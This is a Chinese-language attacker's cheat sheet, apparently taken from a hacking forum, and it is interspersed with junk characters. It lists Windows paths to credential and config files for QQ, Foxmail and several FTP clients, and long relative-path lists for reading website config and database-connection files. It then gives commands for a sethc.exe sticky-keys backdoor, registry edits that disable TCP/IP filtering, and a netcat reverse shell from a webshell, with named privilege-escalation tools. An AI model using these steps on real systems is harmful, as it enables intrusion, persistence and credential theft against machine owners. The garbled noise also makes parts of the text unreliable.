* D6 W, L6 w* ?, ^c:\Program Files\Tencent\qq\User.db
. a. @* J$ N- B1 ]  b; Yc:\Program Files\Tencent\qq\qq.exe
/ a5 Y9 K& {- S- M, a0 Sc:\Program Files\Tencent\qq\bin\qq.exe
9 T. Z  Y) S* w: H  @: Lc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
. o: I" Y# r1 g) m' q/ O8 I. Ic:\Program Files\Tencent\qq\Users\All Users\Registry.db
5 l! Q6 s4 s0 k2 e; @+ HC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
/ t( I& d2 d' e% }c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
+ Q- ]( x6 O7 M8 @6 tC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
3 u* p+ u5 U7 F8 F0 d) u# \c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
1 V/ B) i* ?  CC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
. {% {9 F( f1 h% _% V: y8 J; F; Uc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
8 ^& l* T1 a/ Z2 O
+ r6 L6 ]1 J$ B% s0 n8 p. n3.网站相对路径:

/config.php
  D. ^4 v- p4 @; E2 j../../config.php
  {$ j, |% `$ l8 |. u# l../config.php
../../../config.php
: ~. F( H# ]% B$ W8 |/config.inc.php
./config.inc.php
8 d: m0 i( Y  g, P9 v../../config.inc.php
../config.inc.php
../../../config.inc.php
, F+ ?, h3 N) K7 |& G2 M8 ^! G( p/conn.php
./conn.php
5 _* H$ l, {3 {9 {../../conn.php
4 J: M( }. c0 V! y, p: ~../conn.php
../../../conn.php
/conn.asp
; y% w8 X0 D- E4 v5 c./conn.asp
../../conn.asp
../conn.asp
9 c) t6 B5 n  _$ j0 X1 O2 s8 U, `../../../conn.asp
. d3 q& w& y/ R0 G/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
8 j3 r! Q8 i4 d& W2 K9 u1 J1 r/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
& U# x+ \8 c" ?/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
$ q# K2 M2 ]' B6 u/ L' P% J/config/conn.php
& B' ~) F$ t9 g; d8 o./config/conn.php
' r* z- o+ Z! X$ K$ L4 B../../config/conn.php
  X- ~+ W0 f/ ~4 j, X../config/conn.php
../../../config/conn.php
5 C- L& K, n7 P% r2 D/config/conn.asp
./config/conn.asp
1 ]; S) L% L' F- Q1 I/ L../../config/conn.asp
- ]3 C; N. x3 C% U6 S$ k" ?) b' g../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
4 J' ~. b2 f# M* W6 Y+ o% x4 ^./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
- w5 v5 Z& W! T  A/ b/data/config.php
8 I$ k9 q5 Z8 z4 Z../../data/config.php
../data/config.php
6 q8 v2 u. _: ~$ Z+ Z../../../data/config.php
/data/config.inc.php
./data/config.inc.php
0 p3 S" s% Y: d' _; @../../data/config.inc.php
" q1 E; i: F2 R* G: Q2 |: s2 z../data/config.inc.php
* k; [" N0 g' `+ q0 q../../../data/config.inc.php
/data/conn.php
./data/conn.php
# w( u7 d' K# H  J9 n$ \: i' a../../data/conn.php
../data/conn.php
$ _0 p* T% {7 _( g../../../data/conn.php
) W; e7 D' `, E* |  m0 V# t# V: S/data/conn.asp
4 l, O) D8 y6 B0 k) @, }( E./data/conn.asp
, b0 ~5 N, f" l5 B7 ]" u../../data/conn.asp
+ D% \; w; Z3 ~! Y( q/ h../data/conn.asp
../../../data/conn.asp
! l2 y0 L* U1 Y9 U5 u0 _4 M/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
5 e; t( S- G! Q, o' V../../../data/config.inc.php
; @0 R- H+ c3 r/include/config.php
5 g# j9 ~& y$ [' h& W  d# F$ t, h1 D../../include/config.php
../include/config.php
7 q+ w/ I$ B; N2 U( a../../../include/config.php
) @1 x* E, k: A/include/config.inc.php
./include/config.inc.php
9 i+ q2 q# n( _+ z! p) X6 q../../include/config.inc.php
" \* o0 Z: F2 a& c  J5 W../include/config.inc.php
- D6 x! a! C; D  d: k../../../include/config.inc.php
/include/conn.php
$ _! ~. j& o/ w2 ~7 K; d5 S./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
1 U; o+ v$ h; M2 n9 U  W./include/conn.asp
../../include/conn.asp
7 D" I0 S2 ^; Q../include/conn.asp
. f- u- B3 i) K) u../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
* v0 N. b, E* d+ g5 q- t& f# Y7 I, z0 I- M../../include/config.inc.php
../include/config.inc.php
5 V+ E: J" q1 a9 U8 U) P../../../include/config.inc.php
0 R' a" W5 u) G' k: Y/inc/config.php
1 n9 R- K% g1 u, k* |  c1 R) d../../inc/config.php
../inc/config.php
../../../inc/config.php
0 e$ ~% A1 V1 _; D/inc/config.inc.php
0 k# ^4 c1 X0 i8 s( l./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
7 U1 c0 x" Y  i9 ~( y6 ~/inc/conn.php
; I+ B. F$ o* a* S$ w) G./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
' ?& R) P, @/ m: V/inc/conn.asp
* m" D' A) ^+ a8 q9 ?: ~! Z./inc/conn.asp
) G; G9 G* ]" C+ ?) H* [" Y- L../../inc/conn.asp
../inc/conn.asp
. D& Q  [: g, t5 w( D) G) F8 e% c9 x../../../inc/conn.asp
4 ~" y# C( c* l# R/inc/config.inc.php
./inc/config.inc.php
2 u! ^! N6 I7 g- ]& F../../inc/config.inc.php
' P5 f* @) V( v../inc/config.inc.php
8 z5 F" U4 @; a2 K../../../inc/config.inc.php
) d) [: T  M5 Z1 q. c$ c3 u/index.php
./index.php
../../index.php
../index.php
' \5 t5 C) o1 s/ H3 ^../../../index.php
/index.asp
./index.asp
+ n/ s. d) z% R# r% y( _../../index.asp
../index.asp
. f' X7 I1 M) e( h& }../../../index.asp
替换SHIFT后门
" @! B) U& O; w; @1 c0 @- ~　attrib c:\windows\system32\sethc.exe -h -r -s

! K: _! `/ S, F" T& _0 A　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
0 U2 W( Q2 b% K/ k7 X8 }  i
　　del c:\windows\system32\sethc.exe
* f, {8 O- k0 ~+ j3 J2 B* U. {9 j7 H
2 a% K( U$ k$ ]: c+ E' c/ ^! i' H　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
8 X8 ~8 m& Q; n/ s
3 J5 U! g5 Y! ~　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
/ D+ |0 g& f1 b1 i/ r9 s
　　attrib c:\windows\system32\sethc.exe +h +r +s
% Q7 D- _  E: Q9 o- Q$ r6 k
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
; v, m2 a) H1 F& s% j# A+ sHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
  _/ p  C9 _3 k3 o+ n- [. I
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ }0 C% M- z# F) Y& I! yregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
7 |/ J$ k: p- [& Kregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ b. x4 j  L, n. J9 w3 e3 G+ P, R命令来导出注册表项
+ F* o) E  a/ L: X* T3 {- z- l; {
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
' T% ^+ o$ c& H0 n; o8 Q
/ q' a: i% |& X) W+ U  z再将以上三个文件分别用
# j& ~- s1 m. J' p4 h4 yregedit -s D:\a.reg
regedit -s D:\b.reg
% N9 U8 y4 j- E) Jregedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
$ M! h+ j' P% A; w5 F# l( o8 tnc也在同目录下
例如反弹cmdshell：
) B, v' ~0 p) T) _( ^+ D3 M"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
& }' C9 ?# `) I& U
! W& S9 j8 Y8 Q而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
0 s; i% k. E- R( p/ Q却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功